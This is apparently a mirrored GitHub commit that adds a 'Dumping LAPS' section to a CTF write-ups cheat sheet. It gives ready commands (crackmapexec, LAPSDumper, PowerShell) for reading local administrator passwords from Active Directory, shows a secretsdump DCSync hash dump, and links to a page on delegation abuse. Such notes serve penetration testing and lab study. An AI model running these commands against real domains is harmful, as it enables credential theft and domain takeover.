Mirrors/CTF-Writeups
2
0
Fork 0
mirror of https://github.com/AbdullahRizwan101/CTF-Writeups synced 2024-11-10 06:34:17 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update Cheat Sheet.md

Browse source
This commit is contained in:
ARZ 2022-03-28 10:45:08 +05:00 committed by GitHub
parent 30a14632f9
commit 0e00b4897f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 23 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

23
Cheat Sheet.md
View file

@ -459,6 +459,29 @@ If we find a user having DCsync rights or GetChangeAll privileges meaning to rep
```
python3 secretsdump.py 'DOMAIN/USERNAME':'PASSOWRD'@IP -just-dc-ntlm
```
## Dumping LAPS
LAPS is a Local Adminstrator Password Solution which will ensure that the password for administrator account is set random across the AD environment, to dump LAPS we can do it in three ways
### Dumping through crackmapexec
```bash
cme ldap IP -u 'USER' -p 'PASS' -M laps
```
### Dumping through LAPS Dumper (https://github.com/n00py/LAPSDumper)
```bash
python3 ./laps.py -u 'USER' -p 'PASS' -d domain
```
### Dumping through Powershell's AD-Module
```powershell
Get-ADComputer -Identity "HOST_NAME" -Properties "ms-mcs-AdmPwd"
```
### Abusing Constrained/Unconstrained Delegations
```
https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/